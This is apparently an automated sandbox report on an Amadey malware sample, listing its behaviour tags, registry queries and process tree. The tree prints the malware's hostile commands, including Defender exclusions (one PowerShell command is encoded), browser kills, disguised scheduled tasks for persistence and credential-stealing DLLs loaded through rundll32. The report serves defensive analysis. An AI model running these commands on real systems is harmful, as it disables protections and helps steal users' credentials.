amadey | d95d8f734f2459ca045b7ba1de3af1603a31b06c2dde127f837e383f4a1425fe

System Information Discovery

Processes:

52B6.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	52B6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	52B6.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

4CD9.exenbveek.exe5AC6.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	4CD9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	5AC6.exe

Loads dropped DLL 3 IoCs

Processes:

rundll32.exerundll32.exerundll32.exe

pid process

3944 rundll32.exe
2092 rundll32.exe
4884 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

52B6.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 52B6.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

107 api.ipify.org
108 api.ipify.org

pid	process
3944	rundll32.exe
2092	rundll32.exe
4884	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	52B6.exe

flow	ioc
107	api.ipify.org
108	api.ipify.org

Suspicious use of NtSetInformationThreadHideFromDebugger 26 IoCs

Processes:

powershell.exe

pid	process
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exe52B6.exe

description	pid	process	target process
PID 3540 set thread context of 3656	3540	powershell.exe	aspnet_compiler.exe
PID 2888 set thread context of 1776	2888	52B6.exe	AppLaunch.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2820 2092 WerFault.exe rundll32.exe

pid	pid_target	process	target process
2820	2092	WerFault.exe	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

aspnet_compiler.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe

Creates scheduled task(s) 1 TTPs 16 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4996	schtasks.exe
3952	schtasks.exe
2092	schtasks.exe
2140	schtasks.exe
4828	schtasks.exe
4260	schtasks.exe
2452	schtasks.exe
2012	schtasks.exe
4012	schtasks.exe
3272	schtasks.exe
3016	schtasks.exe
2496	schtasks.exe
2608	schtasks.exe
3604	schtasks.exe
2232	schtasks.exe
4956	schtasks.exe

Kills process with taskkill 6 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

3544 taskkill.exe
3432 taskkill.exe
2716 taskkill.exe
3148 taskkill.exe
3556 taskkill.exe
3160 taskkill.exe

pid	process
3544	taskkill.exe
3432	taskkill.exe
2716	taskkill.exe
3148	taskkill.exe
3556	taskkill.exe
3160	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid	process
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3656	aspnet_compiler.exe
3656	aspnet_compiler.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2220
Suspicious behavior: MapViewOfSection 13 IoCs

Processes:

aspnet_compiler.exe

pid process

3656 aspnet_compiler.exe
2220
2220
2220
2220
2220
2220
2220
2220
2220
2220
2220
2220

pid	process
2220

pid	process
3656	aspnet_compiler.exe
2220
2220
2220
2220
2220
2220
2220
2220
2220
2220
2220
2220

Suspicious use of AdjustPrivilegeToken 57 IoCs

Processes:

powershell.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exeProgramStarter.exeAppLaunch.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	3540	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3432	taskkill.exe
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeDebugPrivilege	2716	taskkill.exe
Token: SeDebugPrivilege	3148	taskkill.exe
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeDebugPrivilege	3556	taskkill.exe
Token: SeDebugPrivilege	3160	taskkill.exe
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeDebugPrivilege	3544	taskkill.exe
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeDebugPrivilege	3600	ProgramStarter.exe
Token: SeDebugPrivilege	1776	AppLaunch.exe
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeShutdownPrivilege	5052	powercfg.exe
Token: SeCreatePagefilePrivilege	5052	powercfg.exe
Token: SeShutdownPrivilege	2644	powercfg.exe
Token: SeCreatePagefilePrivilege	2644	powercfg.exe
Token: SeShutdownPrivilege	4380	powercfg.exe
Token: SeCreatePagefilePrivilege	4380	powercfg.exe
Token: SeShutdownPrivilege	4412	powercfg.exe
Token: SeCreatePagefilePrivilege	4412	powercfg.exe
Token: SeShutdownPrivilege	4100	powercfg.exe
Token: SeCreatePagefilePrivilege	4100	powercfg.exe
Token: SeShutdownPrivilege	4100	powercfg.exe
Token: SeCreatePagefilePrivilege	4100	powercfg.exe
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220
Token: SeShutdownPrivilege	2220
Token: SeCreatePagefilePrivilege	2220

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Setup_soft.exepowershell.execmd.exe4CD9.exenbveek.execmd.exe

description	pid	process	target process
PID 3444 wrote to memory of 3540	3444	Setup_soft.exe	powershell.exe
PID 3444 wrote to memory of 3540	3444	Setup_soft.exe	powershell.exe
PID 3444 wrote to memory of 3540	3444	Setup_soft.exe	powershell.exe
PID 3540 wrote to memory of 3656	3540	powershell.exe	aspnet_compiler.exe
PID 3540 wrote to memory of 3656	3540	powershell.exe	aspnet_compiler.exe
PID 3540 wrote to memory of 3656	3540	powershell.exe	aspnet_compiler.exe
PID 3540 wrote to memory of 3656	3540	powershell.exe	aspnet_compiler.exe
PID 3540 wrote to memory of 3656	3540	powershell.exe	aspnet_compiler.exe
PID 3540 wrote to memory of 3656	3540	powershell.exe	aspnet_compiler.exe
PID 2220 wrote to memory of 2824	2220		cmd.exe
PID 2220 wrote to memory of 2824	2220		cmd.exe
PID 2824 wrote to memory of 996	2824	cmd.exe	cacls.exe
PID 2824 wrote to memory of 996	2824	cmd.exe	cacls.exe
PID 2824 wrote to memory of 3696	2824	cmd.exe	powershell.exe
PID 2824 wrote to memory of 3696	2824	cmd.exe	powershell.exe
PID 2220 wrote to memory of 4636	2220		4CD9.exe
PID 2220 wrote to memory of 4636	2220		4CD9.exe
PID 2220 wrote to memory of 4636	2220		4CD9.exe
PID 4636 wrote to memory of 3364	4636	4CD9.exe	nbveek.exe
PID 4636 wrote to memory of 3364	4636	4CD9.exe	nbveek.exe
PID 4636 wrote to memory of 3364	4636	4CD9.exe	nbveek.exe
PID 3364 wrote to memory of 2452	3364	nbveek.exe	schtasks.exe
PID 3364 wrote to memory of 2452	3364	nbveek.exe	schtasks.exe
PID 3364 wrote to memory of 2452	3364	nbveek.exe	schtasks.exe
PID 3364 wrote to memory of 4332	3364	nbveek.exe	cmd.exe
PID 3364 wrote to memory of 4332	3364	nbveek.exe	cmd.exe
PID 3364 wrote to memory of 4332	3364	nbveek.exe	cmd.exe
PID 2824 wrote to memory of 1824	2824	cmd.exe	reg.exe
PID 2824 wrote to memory of 1824	2824	cmd.exe	reg.exe
PID 4332 wrote to memory of 396	4332	cmd.exe	cmd.exe
PID 4332 wrote to memory of 396	4332	cmd.exe	cmd.exe
PID 4332 wrote to memory of 396	4332	cmd.exe	cmd.exe
PID 4332 wrote to memory of 2440	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 2440	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 2440	4332	cmd.exe	cacls.exe
PID 2824 wrote to memory of 3348	2824	cmd.exe	reg.exe
PID 2824 wrote to memory of 3348	2824	cmd.exe	reg.exe
PID 2824 wrote to memory of 3432	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 3432	2824	cmd.exe	taskkill.exe
PID 4332 wrote to memory of 3012	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 3012	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 3012	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 1000	4332	cmd.exe	cmd.exe
PID 4332 wrote to memory of 1000	4332	cmd.exe	cmd.exe
PID 4332 wrote to memory of 1000	4332	cmd.exe	cmd.exe
PID 4332 wrote to memory of 4756	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 4756	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 4756	4332	cmd.exe	cacls.exe
PID 2824 wrote to memory of 2716	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 2716	2824	cmd.exe	taskkill.exe
PID 4332 wrote to memory of 3736	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 3736	4332	cmd.exe	cacls.exe
PID 4332 wrote to memory of 3736	4332	cmd.exe	cacls.exe
PID 2824 wrote to memory of 3148	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 3148	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 3556	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 3556	2824	cmd.exe	taskkill.exe
PID 2220 wrote to memory of 2888	2220		52B6.exe
PID 2220 wrote to memory of 2888	2220		52B6.exe
PID 2220 wrote to memory of 2888	2220		52B6.exe
PID 2824 wrote to memory of 3160	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 3160	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 3544	2824	cmd.exe	taskkill.exe
PID 2824 wrote to memory of 3544	2824	cmd.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\Setup_soft.exe
"C:\Users\Admin\AppData\Local\Temp\Setup_soft.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe"
2⤵
- DcRat
- Blocklisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3540

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
C:\Windows\Microsoft.NET/Framework/v4.0.30319/aspnet_compiler.exe
3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4A57.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:2824

C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
2⤵
PID:996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command Add-MpPreference -ExclusionPath C:\
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3696

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\Software\Policies\Google\chrome" /v DownloadRestrictions /t REG_DWORD /d 3
2⤵
PID:1824

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Edge" /v DownloadRestrictions /t REG_DWORD /d 3
2⤵
PID:3348

C:\Windows\system32\taskkill.exe
taskkill /F /IM chrome.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3432

C:\Windows\system32\taskkill.exe
taskkill /F /IM msedge.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2716

C:\Windows\system32\taskkill.exe
taskkill /F /IM opera.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3148

C:\Windows\system32\taskkill.exe
taskkill /F /IM brave.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3556

C:\Windows\system32\taskkill.exe
taskkill /F /IM firefox.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3160

C:\Windows\system32\taskkill.exe
taskkill /F /IM Telegram.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3544

C:\Users\Admin\AppData\Local\Temp\4CD9.exe
C:\Users\Admin\AppData\Local\Temp\4CD9.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4636

C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3364

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe" /F
3⤵
- DcRat
- Creates scheduled task(s)
PID:2452

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\8682d6c68d" /P "Admin:N"&&CACLS "..\8682d6c68d" /P "Admin:R" /E&&Exit
3⤵
- Suspicious use of WriteProcessMemory
PID:4332

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
4⤵
PID:396

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
4⤵
PID:2440

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
4⤵
PID:3012

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
4⤵
PID:1000

C:\Windows\SysWOW64\cacls.exe
CACLS "..\8682d6c68d" /P "Admin:N"
4⤵
PID:4756

C:\Windows\SysWOW64\cacls.exe
CACLS "..\8682d6c68d" /P "Admin:R" /E
4⤵
PID:3736

C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe"
3⤵
PID:3720

C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe"
3⤵
PID:924

C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe"
3⤵
PID:4480

C:\Users\Admin\AppData\Local\Temp\1000055001\DefendUpdate.exe
"C:\Users\Admin\AppData\Local\Temp\1000055001\DefendUpdate.exe"
3⤵
- Executes dropped EXE
PID:4836

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Local\Temp\1000055001\DefendUpdate.exe
4⤵
PID:4216

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
5⤵
PID:2072

C:\Users\Admin\AppData\Local\Temp\1000056001\MicrosoftFIX_error.exe
"C:\Users\Admin\AppData\Local\Temp\1000056001\MicrosoftFIX_error.exe"
3⤵
- Executes dropped EXE
PID:1148

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\8be7d7b3521979\cred64.dll, Main
3⤵
- Loads dropped DLL
PID:3944

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\8be7d7b3521979\cred64.dll, Main
4⤵
- Loads dropped DLL
PID:2092

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2092 -s 680
5⤵
- Program crash
PID:2820

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\8be7d7b3521979\clip64.dll, Main
3⤵
- Loads dropped DLL
PID:4884

C:\Users\Admin\AppData\Local\Temp\52B6.exe
C:\Users\Admin\AppData\Local\Temp\52B6.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:2888

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1776

C:\Users\Admin\AppData\Local\Temp\55B4.exe
C:\Users\Admin\AppData\Local\Temp\55B4.exe
1⤵
- Executes dropped EXE
PID:4156

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Local\Temp\55B4.exe
2⤵
PID:2140

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
3⤵
PID:2496

C:\Users\Admin\AppData\Local\Temp\5AC6.exe
C:\Users\Admin\AppData\Local\Temp\5AC6.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:204

C:\Users\Admin\AppData\Local\Temp\ProgramStarter.exe
"C:\Users\Admin\AppData\Local\Temp\ProgramStarter.exe"
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3600

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powershell -EncodedCommand "PAAjAG0AcwBCAFoAcABHAHAASABFAEQAdwBFAFkAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBUAHoARABIAGkARwBqAFIAVAB3AHcAcwBiAHMAawAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAeQBiAEsATQBuAEsAdwBkAEUAQgByAEQAcQBUAG8ASQBqAGMAIwA+ACAAQAAoACAAPAAjAGsAbABUAHEAVQBiAGcAaQBwAEcARQBCACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBLAFkAZAB4AEEATABMAFcAagB3AG8ATAAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAQQBRAFYAZABCAGcATgBkAFUAbQBCAGwAcQBDAGgAWABLACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEcAeQB5AEcATABLAGcAQgBqAHIAeABzAFgAZQBXAGwAVAB1ACMAPgA="
3⤵
PID:4668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAG0AcwBCAFoAcABHAHAASABFAEQAdwBFAFkAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBUAHoARABIAGkARwBqAFIAVAB3AHcAcwBiAHMAawAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAeQBiAEsATQBuAEsAdwBkAEUAQgByAEQAcQBUAG8ASQBqAGMAIwA+ACAAQAAoACAAPAAjAGsAbABUAHEAVQBiAGcAaQBwAEcARQBCACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBLAFkAZAB4AEEATABMAFcAagB3AG8ATAAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAQQBRAFYAZABCAGcATgBkAFUAbQBCAGwAcQBDAGgAWABLACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEcAeQB5AEcATABLAGcAQgBqAHIAeABzAFgAZQBXAGwAVAB1ACMAPgA="
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1468

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:4092

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:2092

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:2060

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:2496

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:3348

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:2012

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:396

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:2140

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:1296

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:3016

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:2448

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:2232

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:3432

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:4956

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:364

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:4012

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk744" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:3736

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk744" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:4828

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk925" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:4464

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk925" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:3272

C:\Windows\SysWOW64\cmd.exe
